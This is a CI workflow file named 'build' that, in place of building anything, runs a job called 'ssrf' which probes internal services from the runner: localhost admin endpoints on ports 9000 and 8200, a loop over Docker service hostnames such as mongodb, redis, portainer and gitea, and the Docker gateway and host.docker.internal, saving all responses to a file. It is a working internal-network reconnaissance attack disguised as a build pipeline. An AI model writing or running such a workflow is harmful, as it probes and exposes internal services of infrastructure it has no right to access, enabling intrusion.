name: build
on: [push]
jobs:
  ssrf:
    runs-on: ubuntu-latest
    steps:
      - name: SSRF Results
        shell: cmd
        run: |
          echo === LOCALHOST SSRF === > C:\ssrf.txt
          curl -sk "http://127.0.0.1:9000/api/status" >> C:\ssrf.txt 2>&1
          echo. >> C:\ssrf.txt
          curl -sk "http://127.0.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1
          echo. >> C:\ssrf.txt
          curl -sk "http://127.0.0.1:8200/api/v1/serverstate" >> C:\ssrf.txt 2>&1
          echo. >> C:\ssrf.txt
          echo === DOCKER NETWORK SSRF === >> C:\ssrf.txt
          for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami calibre) do curl -sk --connect-timeout 2 "http://%%H:27017/" >> C:\ssrf.txt 2>&1 && echo [%%H:27017 OK] >> C:\ssrf.txt
          echo. >> C:\ssrf.txt
          for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami) do curl -sk --connect-timeout 2 "http://%%H:3000/" >> C:\ssrf.txt 2>&1
          echo. >> C:\ssrf.txt
          echo === DOCKER GATEWAY === >> C:\ssrf.txt
          curl -sk --connect-timeout 2 "http://172.17.0.1:9000/api/status" >> C:\ssrf.txt 2>&1
          echo. >> C:\ssrf.txt
          curl -sk --connect-timeout 2 "http://172.17.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1
          echo. >> C:\ssrf.txt
          curl -sk --connect-timeout 2 "http://host.docker.internal:9000/api/status" >> C:\ssrf.txt 2>&1